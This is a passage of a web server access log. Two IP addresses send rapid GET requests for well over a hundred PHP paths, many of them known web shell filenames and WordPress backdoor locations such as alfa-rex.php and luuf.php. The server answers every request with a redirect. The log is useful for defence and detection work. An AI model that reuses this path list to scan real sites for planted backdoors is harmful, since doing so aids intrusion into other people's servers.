Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:28 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.191 - - [23/Apr/2025:03:18:28 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:28 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:29 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /wp-content/plugins/elementor/wp-wyrvg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:29 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /wp-includes/css/dist/editor/fxp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:29 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /wp-admin/network/back.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:29 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:29 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:30 -0400] "GET /wp-includes/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /wp-includes/customize/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /templatesdex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:30 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /version.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:30 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /.lu/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:30 -0400] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /wp-admin/wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:30 -0400] "GET /sidwsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:30 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:31 -0400] "GET /wpupp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:31 -0400] "GET /upmdxpcz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:31 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-content/themes/pridmag/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:31 -0400] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:32 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /.well-known/acme-challenge/aboudt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:32 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.19.191 - - [23/Apr/2025:03:18:32 -0400] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /mm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.191 - - [23/Apr/2025:03:18:32 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:32 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:32 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /sys.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-includes/css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-includes/customize/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:33 -0400] "GET /xpfkcrpp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-includes/certificates/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-content/uploads/2023/a22.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:33 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.19.191 - - [23/Apr/2025:03:18:34 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.191 - - [23/Apr/2025:03:18:34 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /templates/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.19.191 - - [23/Apr/2025:03:18:34 -0400] "GET /wordpress/update/wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 138.199.19.193 - - [23/Apr/2025:03:18:34 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.19.191 - - 